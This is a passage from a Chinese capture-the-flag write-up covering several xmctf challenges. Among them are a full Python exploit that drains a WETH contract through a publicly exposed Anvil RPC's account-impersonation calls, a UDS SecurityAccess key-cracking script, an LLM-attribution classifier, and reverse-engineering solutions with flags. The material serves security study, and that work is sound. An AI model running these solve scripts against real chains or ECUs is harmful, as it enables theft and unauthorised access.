与对应模板。</p><p>对照原项目:</p><p>models → 题目中的 db_schemas(模型类改名)</p><p>methods_module → security_helpers(函数改名)</p><p>merkle_tool.MerkleTools → hash_generator.MerkleGraph</p><p>ts_data → backend_metrics</p><p>业务路径与模板名(如 candidate_details.html、create-dummy-data.html)仍一致。</p><p><strong>答案</strong></p><p>akverma26_voting-system-using-block-chain</p><p><strong>参考:</strong> [voting-system-using-block-chain(akverma26)](https://github.com/akverma26/voting-system-using-block-chain)</p></td></tr></tbody></table></div> ![image.png](https://jhapi.baimaojianghu.com/uploads_v2/20260402/4b60ce150ed7685727ec6d896ea6548f.png "image.png") flag:xmctf{ce678e59-8a2e-4946-9e1e-aef2ab985a85} **Wrapped Ether** RPC 为 **Anvil**(\`client: anvil/v1.5.1\`,\`chainId: 31337\`),且 **JSON-RPC 对公网开放时仍允许测试用接口**,例如: anvil_impersonateAccount(address) anvil_setBalance(address, balance)(按需给 impersonate 账户留 gas) 这相当于把「本地测试链上帝模式」暴露到了公网,**\*\*可伪造任意 \`from\` 发交易\*\***。 **利用链** 1\. **\*\*冒充 \`Setup\` 合约地址\*\***,对 WETH 调用 approve(player, type(uint256).max)。 \- 正常链上 Setup **没有**对外暴露 \`approve\` 的脚本,且玩家无法控制 Setup 私钥;这里靠 **impersonate** 完成。 玩家调用 transferFrom(Setup, player, balanceOf(Setup)), 把 Setup 的 **10 ETH 账面** 划到玩家。 3\. 玩家作为 **challenger** 调用 withdraw(10 ether)(或等价数额), 将 WETH 内 **全部原生 ETH** 转给玩家,\`address(weth).balance == 0\`。 4\. 题目页 **「Check Solution」** 对应 \`POST /api/solve\`,返回 flag。 **\---** **关键信息(本实例)** | | | | --- | --- | | 项 | 值 | | RPC | http://&lt;实例域名&gt;/rpc | | WETH | 0xCafac3dD18aC6c6e92c921884f9E4176737C052c | | Setup | 由部署交易回执得到(本环境为 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512) | | 玩家 | 题目给出的 Address / Private Key | Setup 地址可在区块浏览器式排查中定位:找 **创建 WETH 的合约创建交易** 的 \`contractAddress\`,或根据日志中 \`Deposit\` 的 \`to\` 推断。 **\---** **Exploit 步骤小结** 1\. eth_call 读 balanceOf(Setup) 与 WETH 余额,确认目标数额。 2\. anvil_impersonateAccount(Setup) 3\. eth_sendTransaction { from: Setup, to: WETH, data: approve(player, MAX) } 4\. 玩家签名发送 transferFrom(Setup, player, amt) 5\. 玩家签名发送 withdraw(amt) 6\. POST /api/solve → flag #!/usr/bin/env python3 import json import requests from eth_abi import encode from web3 import Web3 RPC = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn/rpc" WETH = Web3.to_checksum_address("0xCafac3dD18aC6c6e92c921884f9E4176737C052c") SETUP = Web3.to_checksum_address("0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512") PLAYER_PK = "0x46e72a05b5571115a05144dd1093994b88eee07da1b42696289d24707821e0f" w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout": 120})) acct = w3.eth.account.from_key(PLAYER_PK) PLAYER = acct.address ABI = \[ {"inputs": \[{"name": "from", "type": "address"}, {"name": "to", "type": "address"}, {"name": "amount", "type": "uint256"}\], "name": "transferFrom", "outputs": \[\], "stateMutability": "nonpayable", "type": "function"}, {"inputs": \[{"name": "amount", "type": "uint256"}\], "name": "withdraw", "outputs": \[\], "stateMutability": "nonpayable", "type": "function"}, {"inputs": \[{"name": "a", "type": "address"}\], "name": "balanceOf", "outputs": \[{"type": "uint256"}\], "stateMutability": "view", "type": "function"}, \] SETUP_ABI = \[{"inputs": \[\], "name": "isSolved", "outputs": \[{"type": "bool"}\], "stateMutability": "view", "type": "function"}\] def jrpc(method: str, params: list) -> dict: r = requests.post(RPC, json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params}, timeout=120) r.raise_for_status() out = r.json() if "error" in out: raise RuntimeError(out\["error"\]) return out\["result"\] def main(): w = w3.eth.contract(address=WETH, abi=ABI) setup_c = w3.eth.contract(address=SETUP, abi=SETUP_ABI) amt = w.functions.balanceOf(SETUP).call() print("WETH native (wei):", w3.eth.get_balance(WETH)) print("balanceOf\[setup\]:", amt) print("isSolved (before):", setup_c.functions.isSolved().call()) \# 1) Impersonate Setup and approve player (misconfigured public anvil RPC) jrpc("anvil_impersonateAccount", \[SETUP\]) sel = Web3.keccak(text="approve(address,uint256)")\[:4\] data = "0x" + sel.hex() + encode(\["address", "uint256"\], \[PLAYER, 2\*\*256 - 1\]).hex() tx_hash = jrpc( "eth_sendTransaction", \[ { "from": SETUP, "to": WETH, "data": data, "gas": hex(500_000), } \], ) print("approve tx:", tx_hash) rcpt = w3.eth.wait_for_transaction_receipt(tx_hash) print("approve status:", rcpt.status) \# 2) Player: transferFrom then withdraw c = w3.eth.contract(address=WETH, abi=ABI) chain_id = w3.eth.chain_id nonce = w3.eth.get_transaction_count(PLAYER) gp = w3.eth.gas_price def fill_and_sign(tx_dict, n): tx_dict\["chainId"\] = chain_id tx_dict\["nonce"\] = n tx_dict\["gas"\] = 500_000 if "maxFeePerGas" not in tx_dict and "gasPrice" not in tx_dict: tx_dict\["gasPrice"\] = int(gp \* 2) or 10\*\*9 return w3.eth.account.sign_transaction(tx_dict, PLAYER_PK) t0 = c.functions.transferFrom(SETUP, PLAYER, amt).build_transaction({"from": PLAYER}) st0 = fill_and_sign(t0, nonce) h0 = w3.eth.send_raw_transaction(st0.raw_transaction) w3.eth.wait_for_transaction_receipt(h0) print("transferFrom ok:", h0.hex()) t1 = c.functions.withdraw(amt).build_transaction({"from": PLAYER}) st1 = fill_and_sign(t1, nonce + 1) h1 = w3.eth.send_raw_transaction(st1.raw_transaction) w3.eth.wait_for_transaction_receipt(h1) print("withdraw ok:", h1.hex()) print("WETH native (wei):", w3.eth.get_balance(WETH)) print("isSolved (after):", setup_c.functions.isSolved().call()) base = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn" r = requests.post(f"{base}/api/solve", json={}, timeout=60) print("solve API:", r.status_code, r.text) if **name** == "**main**": main() **ModelMark** **Proof of Work** 连接后服务端给出: sha256(&lt;salt&gt; + x) 的十六进制以若干位 0 开头 对 x = 0, 1, 2, … 暴力枚举即可。难度较低时毫秒级到秒级可出解。 **2\. 观察数据与强特征** 对 dataset_train.json 统计可得: \- **DeepSeek-R1**:回答里几乎总带 **\*\*\`&lt;/think&gt;\`\*\***(思维链结束标记),与其它三类几乎不重叠。 \- **Hunyuan**:在**没有** \`&lt;/think&gt;\` 时,出现 **\*\*\`很抱歉\`\*\*** 的比例明显偏高(需先排除 DeepSeek,避免极少数 DeepSeek 样本同时含「很抱歉」被误判)。 据此可先写两条高置信规则,再对其余样本用分类器。 **3\. 文本分类(Qwen / GLM / 剩余情况)** 仅用英文分词习惯的 **word n-gram TF-IDF** 对中文区分度一般(交叉验证约六成多),8 连对概率过低。 改用 **字符 n-gram**(如 2–5)提取特征,配合 **线性 SVM**(\`LinearSVC\`),在同一数据集上三折交叉验证可达约 **九成** 量级,足以实战稳定过关。 **4\. 精确匹配** 若某轮 \`question\` + \`answer\` 与训练集完全一致,可直接查表得 \`model\`。数据中存在**极个别** \`(question, answer)\` 对应两个模型的情况,需对候选列表做歧义处理(例如再交给分类器在候选内选)。 **5\. 协议与编码** \-通信内容为 **UTF-8**,解析时用 \`decode('utf-8')\`。 每轮格式大致为:Question: / Answer: / Which model? / >,用正则取出问答正文后在超时前发送 1–4 与换行。 #!/usr/bin/env python3 """ModelMark CTF: PoW + 连续 8 次模型归属判定。""" import hashlib import json import os import re import socket import time from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.pipeline import Pipeline from sklearn.svm import LinearSVC MODELS = \[ "Qwen/Qwen3-8B", "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B", "THUDM/GLM-4.1V-9B-Thinking", "tencent/Hunyuan-MT-7B", \] MODEL_TO_IDX = {m: i + 1 for i, m in enumerate(MODELS)} def solve_pow(salt: str, difficulty: int) -> str: prefix = "0" \* difficulty n = 0 while True: x = str(n) if hashlib.sha256((salt + x).encode()).hexdigest().startswith(prefix): return x n += 1 def build_lookup(data): d = {} for o in data: k = (o\["question"\].strip(), o\["answer"\].strip()) if k not in d: d\[k\] = \[\] d\[k\].append(o\["model"\]) return d def train_classifier(data): texts = \[o\["question"\].strip() + "\\n\\n" + o\["answer"\].strip() for o in data\] y = \[o\["model"\] for o in data\] clf = Pipeline( \[ ( "tfidf", TfidfVectorizer( analyzer="char", ngram_range=(2, 5), max_features=120000, min_df=2, sublinear_tf=True, ), ), ("svc", LinearSVC(C=0.35, max_iter=6000, dual=False, random_state=0)), \] ) clf.fit(texts, y) return clf def predict_model(lookup, clf, question: str, answer: str) -> int: q, a = question.strip(), answer.strip() key = (q, a) if key in lookup: cands = lookup\[key\] if len(cands) == 1: return MODEL_TO_IDX\[cands\[0\]\] m = clf.predict(\[q + "\\n\\n" + a\])\[0\] if m in cands: return MODEL_TO_IDX\[m\] return MODEL_TO_IDX\[cands\[0\]\] if "&lt;/think&gt;" in a: return MODEL_TO_IDX\["deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"\] if "很抱歉" in a: return MODEL_TO_IDX\["tencent/Hunyuan-MT-7B"\] m = clf.predict(\[q + "\\n\\n" + a\])\[0\] return MODEL_TO_IDX\[m\] def recv_idle(s: socket.socket, hint: bytes = b"", idle=0.25, max_wait=15.0) -> bytes: buf = bytearray(hint) deadline = time.time() + max_wait s.settimeout(idle) while time.time() < deadline: try: c = s.recv(262144) if not c: break buf.extend(c) except (TimeoutError, socket.timeout): break return bytes(buf) def parse_qa(text: str): m = re.search( r"Question:\\s\***\\r**?**\\n**(.+?)**\\r**?**\\n\\r**?**\\n**Answer:\\s\***\\r**?**\\n**(.+?)**\\r**?**\\n\\r**?**\\n**Which model**\\?**", text, re.DOTALL, ) if not m: return None, None return m.group(1).strip(), m.group(2).strip() def main(): base = os.path.dirname(os.path.abspath(**file**)) with open(os.path.join(base, "dataset_train.json"), encoding="utf-8") as f: data = json.load(f) lookup = build_lookup(data) print("Training char n-gram LinearSVC...") clf = train_classifier(data) print("Ready.") s = socket.create_connection(("nc1.ctfplus.cn", 42396), timeout=30) buf = b"" s.settimeout(5) while b"x =" not in buf: buf += s.recv(8192) t0 = buf.decode("utf-8", errors="replace") m = re.search(r"sha256**\\(**(\[^)\]+)\\s\***\\+**\\s\*x**\\)**", t0) salt = m.group(1).strip() dm = re.search(r"starts with (0+)", t0) diff = len(dm.group(1)) if dm else 4 sol = solve_pow(salt, diff) print("PoW:", sol) s.sendall((sol + "\\n").encode()) tail = buf.split(b"x =", 1)\[-1\] if b"x =" in buf else b"" buf = recv_idle(s, hint=tail, idle=0.28, max_wait=18.0) round_i = 0 while round_i < 25: text = buf.decode("utf-8", errors="replace") low = text.lower() if "flag" in low or "ctf{" in text or "flag{" in text: print(text) break if "wrong" in low or "incorrect" in low: print("失败片段:\\n", text\[-1200:\]) q, a = parse_qa(text) if q is None: buf = recv_idle(s, idle=0.28, max_wait=10.0) text = text + buf.decode("utf-8", errors="replace") q, a = parse_qa(text) if q is None: print("无法解析:\\n", text\[-1800:\]) break choice = predict_model(lookup, clf, q, a) print(f"Round {round_i + 1}: choice {choice}") s.sendall((str(choice) + "\\n").encode()) round_i += 1 buf = recv_idle(s, idle=0.32, max_wait=18.0) s.close() if **name** == "**main**": main() **re** **ez_uds** 题目描述 题目提供了一个 ECU UDS Security Server,并提示支持的服务: 0x27 SecurityAccess 使用方法: 27 01 -> Request Seed 27 02 &lt;4byteskey&gt; -> Send Key 示例: 27 01 27 02 12 34 56 78 题目同时给出了 Key 计算算法: def generate_seed(): return random.randint(0, 0xFFFFFFFF) def calculate_key(seed): key = seed ^ 0xA5A5A5A5 key = ((key &lt;< 3) | (key &gt;> 29)) & 0xFFFFFFFF key = (key + 0x12345678) & 0xFFFFFFFF return key key的计算就是先异或,再左移3bit,加上常数,得到一个32bit key, 构造脚本发送2701,解析返回的seed,按算法算key,再发送2702+key得到flag from pwn import \* import re r = remote('nc1.ctfplus.cn', 46662) def calculate_key(seed): key = seed ^ 0xA5A5A5A5 key = ((key &lt;< 3) | (key &gt;> 29)) & 0xFFFFFFFF key = (key + 0x12345678) & 0xFFFFFFFF return key \# 接收 banner print(r.recvuntil(b"Input HEX").decode()) \# 请求 seed print("\[+\] Requesting Seed") r.sendline(b"2701") #读取服务器返回 resp = r.recvline().decode() print("\[+\] Raw Response:", resp) #提取 hex hex_data = re.findall(r"\[0-9A-Fa-f\]{2}", resp) #seed 在最后4字节 seed_bytes = hex_data\[-4:\] seed_hex = "".join(seed_bytes) seed = int(seed_hex, 16) print(f"\[+\] Seed: {seed_hex} (0x{seed:08x})") #计算 key key = calculate_key(seed) key_hex = f"{key:08x}" print(f"\[+\] Key: {key_hex}") \# 发送 key payload = f"2702{key_hex}" print("\[+\] Sending:", payload) r.sendline(payload.encode()) \# 获取 flag print(r.recvall(timeout=3).decode()) ![image.png](https://jhapi.baimaojianghu.com/uploads_v2/20260402/eb2082a68851f0302d1533bbe60d67db.png "image.png") **Illusion** **1\. 题目概览** 程序提示输入 flag,存在多条逻辑链: \- **\*\*\`main\`\*\***:对输入做格式校验后,将花括号内 18 字节拷到全局 \`Destination\`,再调用 **\*\*\`sub_140001440\`\*\*** 与常量比对(实为 **RC4**)。 \- **\*\*\`sub_1400010F0\`\*\***(可由 TLS/初始化等路径进入):读取 \`Destination\` 前若干字节,经 **PKCS#7 填充** 后做 **AES-128-ECB** 双分组加密,与内存中 **32 字节**硬编码密文逐字节比对。 .rdata 中既有用于 RC4 向量初始化的 XMM 常量,也有标准 **AES S 盒**(\`byte_14001D440\`),容易误判「整题都是 AES」。实际上:**校验 flag 内容的可读解在 AES 链路上**;\`main\` 里的 RC4 是另一套约束(且会得到含不可见字符的结果),与常见平台提交的 flag 往往不一致。 **2.\`main\` 侧(格式 + RC4,简述)** scanf("%25s", …) 读入最多 25 字符。 2\. 前缀检查:小端 \`WORD\` 为 \`0x6D78\` → **\*\*\`xm\`\*\***;随后 **\*\*\`ctf{\`\*\***(单字节比较)。 3\. \`Source\[18\] == '}'\`,且 \`strlen\` 整体为 **25** → 花括号内 **18** 字节。 strncpy(Destination, Source, 0x12),byte_140028B12 = 0 保证 strlen(Destination) == 18。 5\. **\*\*\`sub_140001440\`\*\***:\`xmmword_14001D420\` / \`14001D430\` 将 S 盒初始化为 \`0..255\`,密钥为 **\*\*\`nev_gona_give_up\`\*\***,标准 RC4 后与栈上 \`v9\`/\`v10\` 常量比对。 若只跟这条算到底,会得到类似 **\*\*\`nev_gona_letydown\` + \`0x07\`\*\*** 的内层,与多数题库「纯可见 flag」不符,需结合下文 AES 路径。 **3\. AES 链路:\`sub_1400010F0\`** **3.1 密钥材料** 栈上 v77\[4\] 赋值为: | | | | | --- | --- | --- | | 下标 | 十进制 | 小端 4 字节 | | 0–2 | 873608210 | 12 03 23 34 | | 3 | 559105345 | 41 41 40 21 | 拼成 **16 字节 AES-128 密钥**: 12 03 23 34 12 03 23 34 12 03 23 34 41 41 40 21 **3.2 密钥扩展** **\*\*\`sub_1400019F0\` → \`sub_140001D00\`\*\***:对 16 字节密钥做 **AES KeyExpansion**,使用 \`byte_14001D440\` 的 S 盒及偏移处的 **Rcon**,与 OpenSSL/Crypto 标准实现一致。 **3.3 明文与分组** **\*\*\`sub_140001690(Src, len)\`\*\***:\`memcpy\` 后按 **PKCS#7** 将长度补到 **16 的倍数**。 Destination 中花括号内为 **18** 字节时,补 **14** 个 \`0x0E\`,总长 **32** 字节。 **3.4 加密** **\*\*\`sub_1400019E0\`\*\*** 即 **\*\*\`sub_140001A00\`\*\***:对 4×4 状态做 **SubBytes、ShiftRows、MixColumns、AddRoundKey**,共 **10 轮**,即 **AES-128**。 sub_1400010F0 中循环 **2 次**,每次处理 **16** 字节 → **AES-128-ECB**,两分组。 **3.5 密文校验(从反编译提取)** 按链式条件整理出 **32 字节**目标密文(索引与 \`v8\[\]\` 一致): F2 7B 7E 75 B4 5C 08 FA 19 3C 8A 4A 04 F8 1F 67 1B 05 9C E7 27 40 78 6D 28 F6 A8 B8 06 C6 C5 51 (首字节由 v8\[1\]=='{' 且 v8\[0\]==0xF2 等条件共同约束。) **4\. 解密求 Flag** 使用 **AES-128-ECB**,密钥为上述 16 字节,对上述 32 字节做 **decrypt**,再 **去除 PKCS#7**,得到 **18** 字节明文: R3a1_w0rld_M47ters 含义可读作:**Real_world_Matters**(leet 写法)。 外层格式仍为题目在 \`main\` 中要求的 **\*\*\`xmctf{...}\`\*\***,故最终 flag: xmctf{R3a1_w0rld_M47ters} import struct import sys try: from Crypto.Cipher import AES except ImportError: print("pip install pycryptodome", file=sys.stderr) sys.exit(1) v77\[0..3\] 小端拼成 16 字节 AES-128 密钥 KEY = struct.pack("<IIII", 873608210, 873608210, 873608210, 559105345) sub_1400010F0 中 v8\[0..31\] 目标密文(32 字节,2×AES 块) CIPHERTEXT = bytes.fromhex( "f27b7e75b45c08fa193c8a4a04f81f67" "1b059ce72740786d28f6a8b806c6c551" ) def pkcs7_unpad(data: bytes) -> bytes: if not data: raise ValueError("empty data") pad = data\[-1\] if pad &lt; 1 or pad &gt; 16: raise ValueError(f"invalid PKCS#7 pad byte: {pad}") if not all(b == pad for b in data\[-pad:\]): raise ValueError("invalid PKCS#7 padding") return data\[:-pad\] def main() -> None: cipher = AES.new(KEY, AES.MODE_ECB) plain_padded = cipher.decrypt(CIPHERTEXT) inner = pkcs7_unpad(plain_padded).decode("ascii") print("key (hex):", KEY.hex()) print("ciphertext (hex):", CIPHERTEXT.hex()) print("inner (18 bytes):", inner) print("flag:", f"xmctf{{{inner}}}") if **name** == "**main**": main() flag:xmctf{R3a1_w0rld_M47ters} ![image.png](https://jhapi.baimaojianghu.com/uploads_v2/20260402/e72a6b3b52e164a2e5340ee0500da3f3.png "image.png") **移动的秘密** 程序提示输入 flag(scanf("%29s", ...),最长 29 字符),校验通过后输出 right,否则 wrong。 校验分为两层,**必须同时通过**: 1\. 对输入每个字节做 **\*\*\`unsigned char\` 意义下的右移 1 位\*\***(即 \`c >> 1\`),得到 29 字节序列,与 \`.rodata\` 中两段 \`xmmword\` 重叠拼接后的常量比较。 2\. 将**原始输入串**(长度 \`strlen(s)\`)送入一段与 **MD5** 等价的更新与填充逻辑,得到的 **16 字节摘要**再与另一处常量比较。 **2\. 第一层:\`>> 1\` 丢了最低位** 反编译 main 中核心循环可概括为: for (i = 0; i < len; i++) buf\[i\] = (unsigned char)s\[i\] >> 1; // memcmp(buf, expected_29_bytes, len) 需为真 对任意目标字节 T,若存在 c 满足 (c >> 1) == T,则: \\\[ c \\in \\{ (T \\ll 1),\\ (T \\ll 1) \\mid 1 \\} \\\] 即**每个字符只有两种可能**(最低位 0 或 1)。单独靠这一层无法唯一确定 flag,需要第二层缩小搜索空间。 .rodata 中先用 \`xmmword_3080\` 写入 \`v14\[0..15\]\`,再在 \`v14+13\` 处写入 \`xmmword_3090\`,因此 **13..15 与 3090 前 3 字节重叠覆盖**,最终得到 **29 字节**期望序列(与从 IDA 读出的内存一致)。 **3\. 第二层:标准 MD5** 在 0x3060 处可读到 16 字节: 01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10 按小端 32 位字解读即为 MD5 标准初始向量 **IV**(\`0x67452301, 0xEFCDAB89, ...\`)。 sub_1DF0 为按块更新(含长度计数与 memcpy 块处理),\`sub_13C0\` 为 MD5 压缩轮函数,\`sub_1F60\` 完成 **0x80 填充、长度附加** 并输出 **16 字节小端状态**作为摘要。 main 将 IV 载入局部结构后,对**用户输入的原始字符串**调用更新与终结,结果与 **\*\*\`0x3070\`\*\*** 处的 16 字节目标比较。 因此第二层等价于: MD5(输入字符串) == 目标摘要(二进制与 0x3070 处一致) **4\. 解题思路** 从二进制或 IDA 中导出:expected_shifted\[29\]、md5_target\[16\]。 对每个位置 i,候选字符为 c0 = (T<<1)&0xff、c1 = c0|1。 3\. 若要求可读 flag 格式 **\*\*\`xmctf{...}\`\*\***: \- 前 6 个字符在 \`>>1\` 约束下**唯一**确定为 \`xmctf{\`(例如 \`{\` 必须取 \`0x7b\` 而非 \`0x7a\`)。 末位 } 对应 T=0x3e 时须取 0x7d。 4\. 中间剩余位置的二义性共约 **22 bit**,枚举 \`2^22\` 种组合,对每种计算 **MD5**,与目标匹配即得 flag。 复杂度约 **4×10⁶ 次 MD5**,普通 PC 上秒级可完成。 #!/usr/bin/env python3 \-\*- coding: utf-8 -\*- from **future** import annotations import hashlib #第一层: (flag\[i\] >> 1) 应等于该序列(29 字节) SHIFTED_EXPECTED = bytes( \[ 0x3C, 0x36, 0x31, 0x3A, 0x33, 0x3D, 0x3B, 0x32, 0x36, 0x31, 0x18, 0x36, 0x32, 0x2F, 0x19, 0x2F, 0x38, 0x37, 0x36, 0x30, 0x39, 0x18, 0x39, 0x2F, 0x18, 0x18, 0x19, 0x19, 0x3E, \] ) #第二层: MD5(flag) 的 16 字节原始输出(与内存 0x3070 一致) MD5_TARGET = bytes( \[ 0x3A, 0x22, 0xC0, 0x98, 0x71, 0x00, 0x19, 0xB3, 0x1C, 0x32, 0x8A, 0x86, 0x14, 0x29, 0xD3, 0xAD, \] ) def char_from_shifted(byte_shifted: int, lsb: int) -> int: """由 (c >> 1) == byte_shifted 恢复 c,lsb in {0,1}。""" return ((byte_shifted << 1) | (lsb & 1)) & 0xFF def build_flag(mask: int, prefix_bits: list\[tuple\[int, int\]\], suffix_bits: list\[tuple\[int, int\]\]) -> bytes: """ prefix_bits / suffix_bits: \[(index, lsb), ...\] 固定位置的比特选择。 mask: 对剩余下标按顺序取比特(低位对应第一个自由位)。 """ n = len(SHIFTED_EXPECTED) chars = \[0\] \* n fixed = dict(prefix_bits + suffix_bits) free_indices = \[i for i in range(n) if i not in fixed\] assert len(free_indices) <= 32 for i, lsb in fixed.items(): chars\[i\] = char_from_shifted(SHIFTED_EXPECTED\[i\], lsb) m = mask for k, i in enumerate(free_indices): lsb = (m >> k) & 1 chars\[i\] = char_from_shifted(SHIFTED_EXPECTED\[i\], lsb) return bytes(chars) def solve() -> bytes | None: \# xmctf{ 与 } 在 >>1 约束下的典型选择(与 WP 一致) prefix_bits = \[ (0, 0), # 'x' (1, 1), # 'm' (2, 1), # 'c' (3, 0), # 't' (4, 0), # 'f' (5, 1), # '{' \] suffix_bits = \[(28, 1)\] # '}' free_indices = \[i for i in range(len(SHIFTED_EXPECTED)) if i not in dict(prefix_bits + suffix_bits)\] total = 1 << len(free_indices) print(f"\[\*\] 枚举 {len(free_indices)} 个自由位, 共 {total} 种组合 ...") for mask in range(total): candidate = build_flag(mask, prefix_bits, suffix_bits) if hashlib.md5(candidate).digest() == MD5_TARGET: return candidate return None def main() -> None: import sys if hasattr(sys.stdout, "reconfigure"): try: sys.stdout.reconfigure(encoding="utf-8") except Exception: pass flag = solve() if flag is None: print("\[-\] 未找到满足 MD5 的字符串(请检查常量是否与当前二进制一致)") return s = flag.decode("ascii") print("\[+\] Flag:", s) \# 自证:>>1 与 MD5 shifted = bytes((b >> 1) & 0xFF for b in flag) assert shifted == SHIFTED_EXPECTED assert hashlib.md5(flag).digest() == MD5_TARGET print("\[+\] 校验: >>1 序列与 MD5 均匹配。") if **name** == "**main**": main() ![image.png](https://jhapi.baimaojianghu.com/uploads_v2/20260402/0875456c9d844fbc131d2e6101375de0.png "image.png") Flag:xmctf{welc0me_2_polar1s_1022} **ezFinger** **一、\`sub_8003498\`(0x8003498)** **反编译要点** 函数内大量访问固定外设地址: \- \`0x40023804\`:STM32F4 系列 **RCC->PLLCFGR** \- \`0x40023808\`:**RCC->CFGR** 并根据 SYSCLK 来源(HSI/HSE/PLL)、PLL 参数做整数运算,最终返回一个 **频率值(Hz 量级)**。这与 ST 官方 HAL 中根据 RCC 寄存器计算系统时钟的例程一致。 **交叉引用** 对 \`0x8003498\` 做 **xref**,可见调用方(如 \`sub_800356C\`)在修改 \`RCC_CFGR\`、配合 \`PWR\` 相关寄存器后,执行: dword_20000024 = sub_8003498() >> ...; 典型用途:时钟树配完后,把 **当前 SYSCLK 频率**存下来,供 **SysTick** 或延时库使用。进一步印证这是「取系统时钟频率」而不是单纯读 HCLK 分频后的 \`HAL_RCC_GetHCLKFreq\`(后者通常显式包含 AHB 预分频)。 **结论:** **\*\*\`sub_8003498\` ↔ \`HAL_RCC_GetSysClockFreq\`\*\*** **二、\`sub_8000EC0\`(0x8000EC0)** **反编译要点** 逻辑概要: 1\. 第一个参数视为 **Arduino 风格的逻辑引脚号**;若大于 \`0x5F\` 则无效。 2\. 通过全局表 **\*\*\`aInMKi\`\*\*** 做映射(等价于 \`digitalPinToPinName\` 一类 pin map)。 3\. 调用 **\*\*\`sub_8000F10\`\*\***:按「端口 + 引脚位」从某结构里取位,判断引脚是否已配置——与 Arduino Core 里 **\*\*\`g_digPinConfigured\` / is_pin_configured\*\*** 一类位图一致。 4\. 再经 **\*\*\`sub_8000F64\`\*\*** 得到 GPIO 外设基址,**\*\*\`sub_800128E\` → \`sub_800227C\`\*\*** 写入端口寄存器。 **关键底层:\`sub_800227C\`** 反编译形态为: 目标地址 = GPIO_base + 0x18 \- STM32 **\*\*\`GPIO_TypeDef\`\*\*** 中 **\*\*\`BSRR\` 偏移正是 0x18\*\***(十进制 24)。 \- 根据第三参数决定写入低 16 位或高 16 位,对应 **置位 / 复位** 引脚电平。 这是 **\*\*\`HAL_GPIO_WritePin\` 的核心写 BSRR 行为\*\***;但本题问的是 **\*\*\`0x8000EC0\` 这一层\*\***的语义名称,而不是最里层 HAL。 **字符串侧证** 固件中存在 Arduino STM32 包路径类字符串,例如指向: .../packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp 说明工程基于 **Arduino_Core_STM32**,GPIO 数字输出 API 为 **\*\*\`digitalWrite(uint32_t ulPin, uint32_t ulVal)\`\*\***,其实现正是:pin 名解析 → 检查是否 \`pinMode\` 配置过 → 调 \`digital_io_write\`(最终写 BSRR)。 Flag:xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。

参与讨论 (7)

M
myqf2026-04-23 07:42

支持LswZHGre

M
Myan2026-04-21 09:12

👍👍👍带带

2026-04-16 08:20

我勒个豆

观止安全2026-04-07 10:07

太强了

D
Datamaniac Chaser2026-04-05 15:53

加油

花开富贵2026-04-04 10:19

太强了

D
Datamaniac Chaser2026-04-03 11:58

厉害!